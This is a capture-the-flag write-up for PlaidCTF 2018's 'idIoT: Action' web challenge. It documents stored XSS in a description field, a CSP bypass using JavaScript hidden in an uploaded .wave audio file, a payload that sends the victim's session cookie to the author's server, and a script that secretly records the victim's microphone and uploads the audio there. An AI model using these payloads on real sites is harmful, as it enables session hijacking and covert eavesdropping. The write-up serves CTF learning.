Tags: xss csrf csp-bypass 

Rating: 5.0

# ▼▼▼idIoT: Action Web (200 pts) 38/986=3.8%▼▼▼
**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**

```
Some people won't let any smart devices in their home at all. Some are cautious, do their research, and make an informed decision. This guy falls in neither category; he's a a downright idIoT.

The idIoT uses this service called clipshare(https://idiot.chal.pwning.xxx/); you can find his account here(https://idiot.chal.pwning.xxx/user.php?id=3427e48e-a6eb-4323-aed4-3ce4a83d4f46) or here after you make an account.

He was telling me the other day about how he has a Google Home next to his computer running at all times. He also told me that if you ask politely it will tell you the flag. However, while he'll look at anything you share, he closes it almost immediately if he doesn't seem like it'll interest him. Maybe we can look at his clips to find something to match his interests?

(Flag format: PCTF{xxx} where xxx is some text composed of lower-case letters and underscores)
```

---

**【Understanding of functions】**
```
・Account registration function
・Login/logout functioon
・Audio recording function with javascript
・Audio playback function with javascript
・Audio file upload function
・Sharing audio to other users
```

---

## ▼▼Stage1(XSS)▼▼

**【Search for vulnerabilities】**

When reading the problem above I was able to feel that this is an XSS problem.

```
POST /create.php HTTP/1.1
Host: idiot.chal.pwning.xxx
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryplyOYuB7sEcLkkvJ
Cookie: PHPSESSID=17db1na5g7oahumoj2ea9lj1o6

------WebKitFormBoundaryplyOYuB7sEcLkkvJ
Content-Disposition: form-data; name="title"

<>1
------WebKitFormBoundaryplyOYuB7sEcLkkvJ
Content-Disposition: form-data; name="description"

<>2
------WebKitFormBoundaryplyOYuB7sEcLkkvJ
Content-Disposition: form-data; name="audiofile"; filename="musicbox.mp3"
Content-Type: audio/mp3

~(mp3 file data is omitted)~
------WebKitFormBoundaryplyOYuB7sEcLkkvJ--
```

Next, send the following request

```
GET /clip.php?id=a6f77dd1-fdb1-4461-95f5-1570c19c8acd HTTP/1.1
Host: idiot.chal.pwning.xxx
Cookie: PHPSESSID=17db1na5g7oahumoj2ea9lj1o6
```

```
HTTP/1.1 200 OK
Date: Sat, 05 May 2018 06:16:08 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Security-Policy: style-src 'self' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com; media-src 'self' blob:; script-src 'self'; object-src 'self'; frame-src 'self'
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 1100
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<head>
<link href="https://fonts.googleapis.com/css?family=IBM+Plex+Sans+Condensed" rel="stylesheet">
<link rel="stylesheet" href="css/main.css" />
<script src="js/main.js"></script>
</head>
<body>
<header>

<h1>Clipshare</h1>

<nav>
Create a clip
Shares
kazkiti
Log out
</nav>
</header>
<main>
<h2><>1</h2>
<h3>kazkiti</h3>
<audio src="uploads/upload_5aed4c274f9c28.18047791.mp3" controls autoplay class="playback"></audio>
<div class="box padded">
<div class="title">Description</div>
<div class="content"><>2</div>
</div>
<form class="box padded" action="share.php" method="POST">
<div class="title">Share this clip</div>
<select name="target">
<option disabled selected>Select a friend</option>
</select>
<input type="hidden" name="clip" value="a6f77dd1-fdb1-4461-95f5-1570c19c8acd" />
<input type="submit" name="submit" value="submit" />
</form>
</main>
</body>
</html>
```

`<> 2` is not escaped! `description` paramater is `Stored XSS` vulnerable!!

---

**【First, I confirm the user id that makes XSS payload browse】**

https://idiot.chal.pwning.xxx/user.php?id=3427e48e-a6eb-4323-aed4-3ce4a83d4f46

`idiot1`

Press [ Add friend] button to share audio

---

**【Check the Content-Security-Policy header】**

```
Content-Security-Policy: style-src 'self' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com; media-src 'self' blob:; script-src 'self'; object-src 'self'; frame-src 'self'
```

`script-src 'self'`

Only `<script src = "(same-origin-contents)"> </ script>` is allowed

---

**【Identify idiot1's browser type】**

Let's browse to ` ` and identify the type of idiot1's browser

```
POST /create.php HTTP/1.1
Host: idiot.chal.pwning.xxx
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryplyOYuB7sEcLkkvJ
Cookie: PHPSESSID=17db1na5g7oahumoj2ea9lj1o6

------WebKitFormBoundaryplyOYuB7sEcLkkvJ
Content-Disposition: form-data; name="title"

<>1
------WebKitFormBoundaryplyOYuB7sEcLkkvJ
Content-Disposition: form-data; name="description"


------WebKitFormBoundaryplyOYuB7sEcLkkvJ
Content-Disposition: form-data; name="audiofile"; filename="musicbox.mp3"
Content-Type: audio/mp3

~(mp3 file data is omitted)~
------WebKitFormBoundaryplyOYuB7sEcLkkvJ--
```

Share it to `idiot1`

I got the following User-agent header on my server

```
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3391.0 Safari/537.36
```

It seems to be `Chrome`!

---

**【Search for places where javascript can be uploaded】**

I confirmed Audio file upload function. There are the following descriptions, and the audio file that can be uploaded is restricted.

```
Upload a File
You can upload .wav/wave, .mp3, .ogg, .webm
```

I confirmed the details.

```
· It is checked that the file contents are sound sources
· Extension check is done
· But Consistency between sound source and extension is not checked
```

---

Confirm the extensions that can be CSP-bypassed in Chrome in the local environment

I created `test.html` file and accessed it.

```
<script src="test.wav"></script>
<script src="test.mp3"></script>
<script src="test.ogg"></script>
<script src="test.webm"></script>
<script src="test.wave"></script>
```

result

![](https://raw.githubusercontent.com/kazkiti/PlaidCTF2018/master/local_check.png)

Only the `wave` extension can be read from `<script src = ●●●></script>` in Chrome.

---

**【Consider how to write javascript in audio file】**

I looked for an audio format with no error in the form of `/ * (Audio file) * /`

```
POST /create.php HTTP/1.1
Host: idiot.chal.pwning.xxx
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVS0mrwAmBPnIkuZm
Cookie: PHPSESSID=baq1mp2bito9i92819i9jugm37

------WebKitFormBoundaryVS0mrwAmBPnIkuZm
Content-Disposition: form-data; name="title"

test
------WebKitFormBoundaryVS0mrwAmBPnIkuZm
Content-Disposition: form-data; name="description"

test
------WebKitFormBoundaryVS0mrwAmBPnIkuZm
Content-Disposition: form-data; name="audiofile"; filename="test.wave"
Content-Type: audio/mp3

alert(1);
/*
(mp3 file)
*/
```

upload OK.

As a result of checking one by one, it turned out that `mp3` is simple.

---

**【Confirm whether cookie can be acquired with javascript】**
```
POST /login.php HTTP/1.1
Host: idiot.chal.pwning.xxx
Content-Type: application/x-www-form-urlencoded

username=kazkiti&password=password&submit=submit
```

Set-Cookie: PHPSESSID=jfocois0t1ilobr3anv5cjvju7; path=/

There is no `httponly` attribute

It is possible to get cookies with javascript

---

**【Get cookie of idiot1】**

```
POST /create.php HTTP/1.1
Host: idiot.chal.pwning.xxx
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVS0mrwAmBPnIkuZm
Cookie: PHPSESSID=baq1mp2bito9i92819i9jugm37

------WebKitFormBoundaryVS0mrwAmBPnIkuZm
Content-Disposition: form-data; name="title"

test
------WebKitFormBoundaryVS0mrwAmBPnIkuZm
Content-Disposition: form-data; name="description"

<script src="●●●●.wave"></script>
------WebKitFormBoundaryVS0mrwAmBPnIkuZm
Content-Disposition: form-data; name="audiofile"; filename="test.wave"
Content-Type: audio/mp3

(new Image).src='https://【my_server】?'+document.cookie;
/*
(mp3 file)
*/
```

Share idiot1 and got the following

```
GET /17lytyo1?PHPSESSID=2p1d1495hbkpflbj2ctoe4e091
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3391.0 Safari/537.36
```

Logged in as `PHPSESSID = 2p1d1495hbkpflbj2ctoe4e091`.

---

## ▼▼Stage2(CSRF)▼▼

There are 2 Audio. To summarize them ...
```
・There is Google Home near his PC
・When asking `OK! Google! what is a flag?` on Google Home, it tells flag
・If I put `spatulate` in `discription paramater` when I send voice, Google Home will listen to the voice
```

---

I thought that I could get a flag if I did the following

```
・Upload the 'OK! Google! What is flag?' voice and tell Google Home
・Record the flag that Google Home tells me
・Send audio file to my server
```

I created the following exploit with reference to `js/ main.js`

```
POST /create.php HTTP/1.1
Host: idiot.chal.pwning.xxx
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVS0mrwAmBPnIkuZm
Cookie: PHPSESSID=baq1mp2bito9i92819i9jugm37

------WebKitFormBoundaryVS0mrwAmBPnIkuZm
Content-Disposition: form-data; name="title"

test
------WebKitFormBoundaryVS0mrwAmBPnIkuZm
Content-Disposition: form-data; name="description"

spatulate

<script src="/uploads/upload_5aef1d1e024e06.39902088.wave"></script>
<form action="create.php" method="post" enctype="multipart/form-data" id="upload-form">
<input type="text" name="title" id="title-input" value="flag"/>
<textarea type="text" name="description" id="description-input">flag</textarea>
<label for="audiofile" class="file-label">Upload a file</label>
<input type="file" name="audiofile" id="audiofile" accept="audio/*" />
<button type="button" id="audio-record">Record</button>
<audio id="record-playback" controls></audio>
<button type="submit" name="submit" id="up_exe" value="submit">submit</button>
</form>
------WebKitFormBoundaryVS0mrwAmBPnIkuZm
Content-Disposition: form-data; name="audiofile"; filename="test.wave"
Content-Type: audio/mp3

window.onload = () => {

//(new Image).src = 'https://【my_server】?read_1';

document.querySelectorAll("input[type='file']").forEach((input) => {
input.addEventListener("change", (e) => {
document.querySelector(`label[for="${input.id}"]`).innerText = e.target.value.split("\\").pop();
});
});

let recordButton = document.getElementById("audio-record");
let recordPlayback = document.getElementById("record-playback");
let uploadForm = document.getElementById("upload-form");
let mediaRecorder;
let mediaType =
!("MediaRecorder" in window) ? undefined
: MediaRecorder.isTypeSupported("audio/ogg") ? "audio/ogg"
: MediaRecorder.isTypeSupported("audio/webm") ? "audio/webm"
: undefined;
let mediaBlob;

if (recordButton) {
recordButton.addEventListener("click", (e) => {
e.preventDefault();
//console.log("mediaType="+mediaType);//--------1
//(new Image).src = 'https://【my_server】?record_2';
if (!mediaType) {
console.log("mediaType:None");
return;
}

//console.log("mediaRecorder="+mediaRecorder);//--------2
//(new Image).src = 'https://【my_server】?record_3';
if (mediaRecorder) {
//console.log("stop:1");
mediaRecorder.stop();
mediaRecorder = undefined;
recordButton.innerText = "Record";
} else {
//console.log("Record");//--------3
//(new Image).src = 'https:/【my_server】?record_4';
recordButton.innerText = "Stop";
navigator.mediaDevices.getUserMedia({ audio: true }).then((stream) => {
//console.log("navigator");//--------4
//(new Image).src = 'https://【my_server】?navigator_5';
mediaRecorder = new MediaRecorder(stream, { mimeType: mediaType });

mediaRecorder.start();

//console.log("chunk");//--------5
//(new Image).src = 'https://【my_server】?chunk_6';
let chunks = [];

mediaRecorder.addEventListener("dataavailable", (e) => {
//console.log("push");
chunks.push(e.data);
});

mediaRecorder.addEventListener("stop", () => {
//console.log("stop");
//(new Image).src = 'https://【my_server】?stop_7';
mediaBlob = new Blob(chunks);
recordPlayback.src = URL.createObjectURL(mediaBlob);
//console.log(mediaBlob);

document.getElementById("up_exe").click();
})
});
}
});
}

if (uploadForm) {
//console.log("upload-start");
//(new Image).src = 'https://【my_server】?upload-start_8';
uploadForm.addEventListener("submit", (e) => {
//alert("uploadForm_addEventListener");
e.preventDefault();
let formData = new FormData(uploadForm);

//console.log(mediaBlob);
//alert(mediaBlob);
if (mediaBlob) {
//alert("mediaBlob-OK");
formData.append("audiofile", mediaBlob, "audio." + mediaType.split("/")[1]);
}

//let f = fetch("create.php", {
let f = fetch("https://【my_server】/10_upload/upload.php", {
method: "POST",
mode: 'cors',
body: formData,
credentials: "same-origin"
});

});
}

recordButton.click();
//console.log("timer_start");//timer
//(new Image).src = 'https://【my_server】?timer_start_9';
setTimeout(function(){recordButton.click();},20000);
}
/*
(mp3 file)
*/
------WebKitFormBoundaryVS0mrwAmBPnIkuZm--
```

Audio file uploaded to my server. listen to the audio file.

`pctf{not_so_smart}`